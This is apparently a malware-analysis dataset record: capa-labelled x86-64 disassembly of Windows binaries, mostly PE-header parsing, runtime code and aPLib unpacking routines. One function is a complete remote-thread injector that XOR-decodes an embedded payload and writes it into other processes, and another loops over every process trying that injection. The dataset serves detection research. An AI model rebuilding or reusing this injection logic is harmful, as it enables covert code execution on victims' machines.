joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002b90
Capabilities:
Parse pe header

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
xor edi, edi
cmp rax, 8
ja 0x140002c0f
mov rax, qword [0x140004010]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x140002c0f
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140002c0d
add rax, rcx
movzx ecx, word [rax + 0x18]
cmp ecx, 0x20b
jne 0x140002c0d
movzx ebx, word [rax + 6]
test ebx, ebx
je 0x140002c0d
movzx ecx, word [rax + 0x14]
lea rdi, [rcx + rax]
add rdi, 0x18
nop dword [rax]
mov r8d, 8
mov rcx, rdi
mov rdx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strncmp
test eax, eax
je 0x140002c0f
add rdi, 0x28
dec ebx
jne 0x140002bf0
xor edi, edi
mov rax, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x140002c20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r8, qword [0x140004010]
movzx edx, word [r8]
cmp edx, 0x5a4d
jne 0x140002c8c
movsxd rdx, dword [r8 + 0x3c]
cmp dword [r8 + rdx], 0x4550
jne 0x140002c8c
add r8, rdx
movzx edx, word [r8 + 0x18]
cmp edx, 0x20b
jne 0x140002c8c
movzx edx, word [r8 + 6]
test edx, edx
je 0x140002c8c
sub rcx, qword [0x140004010]
movzx eax, word [r8 + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002c78
add rax, 0x28
dec edx
je 0x140002c8c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002c70
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002c70
jmp 0x140002c8e
xor eax, eax
ret

Function at 0x140002c90
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140004010]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002cc6
movsxd r8, dword [rcx + 0x3c]
cmp dword [rcx + r8], 0x4550
jne 0x140002cc6
movzx edx, word [rcx + r8 + 0x18]
cmp edx, 0x20b
jne 0x140002cc6
movzx eax, word [rcx + r8 + 6]
ret

Function at 0x140002d40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004010]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x140002d6c
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140002d6c
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x140002d6e
xor eax, eax
ret

Function at 0x140002e00
Capabilities:
Parse pe header

Disassembly:
push rsi
mov r8, qword [0x140004010]
movzx eax, word [r8]
cmp eax, 0x5a4d
jne 0x140002e8e
movsxd rax, dword [r8 + 0x3c]
cmp dword [r8 + rax], 0x4550
jne 0x140002e8e
add rax, r8
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x140002e8e
mov r10d, dword [rax + 0x90]
test r10, r10
je 0x140002e8e
movzx edx, word [rax + 6]
test rdx, rdx
je 0x140002e8e
movzx esi, word [rax + 0x14]
shl rdx, 3
lea r9, [rdx + rdx*4]
lea r11, [rax + rsi]
add r11, 0x24
xor eax, eax
xor edx, edx
jmp 0x140002e69
add rdx, 0x28
cmp r9d, edx
je 0x140002e90
mov esi, dword [r11 + rdx]
cmp esi, r10d
ja 0x140002e60
add esi, dword [r11 + rdx - 4]
cmp esi, r10d
jbe 0x140002e60
lea rdx, [r10 + r8]
add rdx, 0xc
xor eax, eax
cmp dword [rdx - 8], 0
jne 0x140002eb1
jmp 0x140002eac
xor eax, eax
pop rsi
ret
dec ecx
add rdx, 0x14
cmp dword [rdx - 8], 0
jne 0x140002eb1
cmp dword [rdx], 0
je 0x140002e90
test ecx, ecx
jg 0x140002ea0
mov eax, dword [rdx]
add rax, qword [0x140004010]
jmp 0x140002e90
Function at 0x140ad0058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140ad01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140ad0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ad006f
add dl, dl
jne 0x140ad0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ad00f6
xor eax, eax
add dl, dl
jne 0x140ad00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140ad01ad
add dl, dl
jne 0x140ad00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ad00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ad00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ad00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140ad00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140ad007e
mov eax, 1
add dl, dl
jne 0x140ad0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140ad0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ad00fb
sub eax, ebx
mov ebx, 1
jne 0x140ad014c
mov ecx, 1
add dl, dl
jne 0x140ad012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ad013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ad0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ad007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140ad0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140ad0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140ad015d
cmp eax, 0x7d00
jae 0x140ad019b
cmp eax, 0x500
jb 0x140ad0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ad007e
cmp eax, 0x7f
ja 0x140ad019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140ad007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140ad01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140ad007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1409a6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409a61df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1409a6089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409a606f
add dl, dl
jne 0x1409a6096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409a60f6
xor eax, eax
add dl, dl
jne 0x1409a60a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409a61ad
add dl, dl
jne 0x1409a60b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409a60c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409a60d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409a60dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409a60ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1409a607e
mov eax, 1
add dl, dl
jne 0x1409a6106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409a6113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409a60fb
sub eax, ebx
mov ebx, 1
jne 0x1409a614c
mov ecx, 1
add dl, dl
jne 0x1409a612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409a613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409a6123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409a607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1409a6168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409a6175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409a615d
cmp eax, 0x7d00
jae 0x1409a619b
cmp eax, 0x500
jb 0x1409a6196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409a607e
cmp eax, 0x7f
ja 0x1409a619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409a607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409a61d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1409a607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400c27b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400c27c0]
mov dword [rax], 1
mov rax, qword [0x1400c27d0]
mov dword [rax], 1
mov rax, qword [0x1400c2750]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400c27a0]
mov dword [0x1400eb00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400c2890]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400c2870]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400c1b80]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400017e0
Capabilities:
Create thread
Encode data using xor
Inject thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x268
xor edx, edx
mov r8d, ecx
mov ecx, 0x43a
call method.my.OpenProcess_unsigned_long__int__unsigned_long_
mov rbx, rax
test rax, rax
je 0x1400019b3
lea rdx, [rsp + 0x58]
mov rcx, rax
call method.my.IsWow64Process_void__int_
test eax, eax
je 0x1400019cd
cmp dword [rsp + 0x58], 1
je 0x1400019dd
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1ff
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x14000198a
mov byte [rsp + 0x60], 0xfc
mov ecx, 1
lea rbp, [rsp + 0x60]
lea r10, str.geeky
lea r9, [0x1400bc1a0]
movabs r8, 0xcccccccccccccccd
nop dword [rax + rax]
mov rax, rcx
mul r8
mov rax, rdx
and rdx, 0xfffffffffffffffc
shr rax, 2
add rdx, rax
mov rax, rcx
sub rax, rdx
movzx eax, byte [r10 + rax]
xor al, byte [r9 + rcx]
mov byte [rbp + rcx], al
add rcx, 1
cmp rcx, 0x1fe
jne 0x140001880
mov r9d, 0x1fe
mov r8, rbp
mov rdx, rsi
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001979
xor eax, eax
mov ecx, 0x3f
mov rdi, rbp
mov r9d, 0x20
rep stosq qword [rdi], rax
xor eax, eax
mov r8d, 0x1ff
mov rdx, rsi
mov rcx, rbx
mov word [rdi + 4], ax
lea rax, [rsp + 0x5c]
mov dword [rdi], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000196b
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 0
mov r9, rsi
mov qword [rsp + 0x30], 0
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14000199b
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rax
call rsi
mov rcx, rbx
call rsi
mov eax, 1
add rsp, 0x268
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, str.VirtualProtectEx_failed_
call sym.printError_char_const_
jmp 0x140001919
lea rcx, str.WriteProcessMemory_failed_
call sym.printError_char_const_
jmp 0x1400018da
lea rcx, str.VirtualAllocEx_failed_
call sym.printError_char_const_
jmp 0x140001851
lea rcx, str.CreateRemoteThread_failed_
mov qword [rsp + 0x48], rax
call sym.printError_char_const_
mov rax, qword [rsp + 0x48]
jmp 0x140001949
lea rcx, str.OpenProcess_failed_
call sym.printError_char_const_
xor eax, eax
add rsp, 0x268
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, str.IsWow64Process_failed_
call sym.printError_char_const_
xor eax, eax
jmp 0x1400019c1
lea rcx, str.Is_32_bit_process_
call sym.printError_char_const_
xor eax, eax
jmp 0x1400019c1
Function at 0x1400019f0
Capabilities:
Enumerate process modules

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
xor ebx, ebx
mov edi, 0x190
mov dword [rsp + 0x3c], 0
lea rbp, [rsp + 0x3c]
jmp 0x140001a3b
mov eax, dword [rsp + 0x3c]
mov rbx, rax
cmp rax, rdi
jb 0x140001a88
mov rcx, rsi
lea rdi, [rax + 0x190]
call dbg.operator delete[](void*)
lea rcx, [rdi*4]
call dbg.operator new[](unsigned long long)
lea edx, [rbx + 0x190]
mov r8, rbp
mov rcx, rax
mov rsi, rax
call sym.K32EnumProcesses
test eax, eax
jne 0x140001a20
lea rcx, str.First_EnumProcesses_failed_
call sym.printError_char_const_
mov eax, 1
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
shr rax, 2
lea r13, str.Trying_PID
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r12, [rsi + rbx*4]
mov rdi, qword [0x1400c2160]
mov ebp, eax
lea rax, [method.std::ctype_char_.do_widen_char__const]
mov qword [rsp + 0x28], rax
test rbx, rbx
jne 0x140001af2
jmp 0x140001bc1
movsx edx, byte [r14 + 0x43]
mov rcx, rbx
call dbg.std::ostream::put(char)
mov rcx, rax
call dbg.std::ostream::flush()
mov ecx, r15d
call sym.tryInjectProcess_unsigned_long_
test al, al
jne 0x140001b70
add rsi, 4
cmp r12, rsi
je 0x140001bc1
mov r15d, dword [rsi]
cmp ebp, r15d
je 0x140001ae5
mov r8d, 0xb
mov rdx, r13
mov rcx, rdi
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::__ostream_insert<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*, long long)
mov edx, r15d
mov rcx, rdi
call dbg.std::ostream& std::ostream::_M_insert<unsigned long>(unsigned long)
mov rbx, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov r14, qword [rbx + rax + 0xf0]
test r14, r14
je 0x140001bf2
cmp byte [r14 + 0x38], 0
jne 0x140001ac0
mov rcx, r14
call dbg.std::ctype<char>::_M_widen_init() const
mov rax, qword [r14]
mov rcx, qword [rsp + 0x28]
mov edx, 0xa
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140001ac5
mov rcx, r14
call rax
movsx edx, al
jmp 0x140001ac5
mov r8d, 0x23
lea rdx, str.Successfully_injected_into_process
mov rcx, rdi
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::__ostream_insert<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*, long long)
mov edx, r15d
mov rcx, rdi
call dbg.std::ostream& std::ostream::_M_insert<unsigned long>(unsigned long)
mov rbx, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
mov rsi, qword [rbx + rax + 0xf0]
test rsi, rsi
je 0x140001bf2
cmp byte [rsi + 0x38], 0
je 0x140001bc8
movsx edx, byte [rsi + 0x43]
mov rcx, rbx
call dbg.std::ostream::put(char)
mov rcx, rax
call dbg.std::ostream::flush()
xor eax, eax
jmp 0x140001a71
mov rcx, rsi
call dbg.std::ctype<char>::_M_widen_init() const
mov rax, qword [rsi]
mov edx, 0xa
lea rcx, [method.std::ctype_char_.do_widen_char__const]
mov rax, qword [rax + 0x30]
cmp rax, rcx
je 0x140001bb1
mov rcx, rsi
call rax
movsx edx, al
jmp 0x140001bb1
call dbg.std::__throw_bad_cast()
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001dd0
Capabilities:
Create thread
Resume thread

Disassembly:
push rsi
push rbx
sub rsp, 0x78
mov rsi, qword [rsp + 0xc0]
test rdx, rdx
je 0x140001de7
mov rdx, qword [rdx + 8]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], r9
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x28], r8
mov r8d, 1
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], 0
call sym.RtlCreateUserThread
mov ebx, eax
test eax, eax
js 0x140001e82
test rsi, rsi
je 0x140001e3b
mov rax, qword [rsp + 0x68]
mov dword [rsi], eax
mov rax, qword [rsp + 0x58]
test byte [rsp + 0xb8], 1
jne 0x140001e58
add rsp, 0x78
pop rbx
pop rsi
ret
lea rdx, [rsp + 0x54]
mov rcx, rax
call sym.NtResumeThread
test eax, eax
js 0x140001e78
mov rax, qword [rsp + 0x58]
add rsp, 0x78
pop rbx
pop rsi
ret
mov rcx, qword [rsp + 0x58]
call sym.NtClose
mov ecx, ebx
call sym.RtlNtStatusToDosError
mov ecx, eax
call sym.RtlSetLastWin32Error
xor eax, eax
add rsp, 0x78
pop rbx
pop rsi
ret

Function at 0x14000be50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x14000bec0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400eb104]
mov rbx, rcx
test esi, esi
jle 0x14000bff0
mov rax, qword [0x1400eb108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000bf0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000bf95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000bef0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x14000c012
mov rax, qword [0x1400eb108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400eb108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000bff7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000bf8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000bfa0
add dword [0x1400eb104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400eb108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000bf8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x14000bf18
mov rax, qword [0x1400eb108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000c580
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400eb160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400eb140]
test rbx, rbx
je 0x14000c5dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000c5d3
test rsi, rsi
je 0x14000c5d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c5b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000c7f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14000c808
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14000c810
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x14000c820
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000c86d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x14000c864
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000c86f
add rax, 0x28
cmp rax, r9
jne 0x14000c850
xor eax, eax
ret

Function at 0x14000c870
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x14000c900
mov rdx, qword [0x1400c2750]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000c8ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000c8ee
cmp word [rax + 0x18], 0x20b
jne 0x14000c8ee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x14000c900
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x14000c8d9
add rbx, 0x28
cmp rbx, rdi
je 0x14000c900
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x14000c8d0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x14000c910
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c2750]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000c930
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000c938
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000c930
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000c98d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000c984
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c930
add rax, 0x28
cmp rax, r9
jne 0x14000c970
xor eax, eax
ret

Function at 0x14000c990
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2750]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000c9af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000c9b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000c9af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000c9d0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400c2750]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14000c9f0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14000c9f8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14000c9f0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x14000ca40
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000ca37
test rcx, rcx
je 0x14000c9f0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x14000ca28
xor eax, eax
ret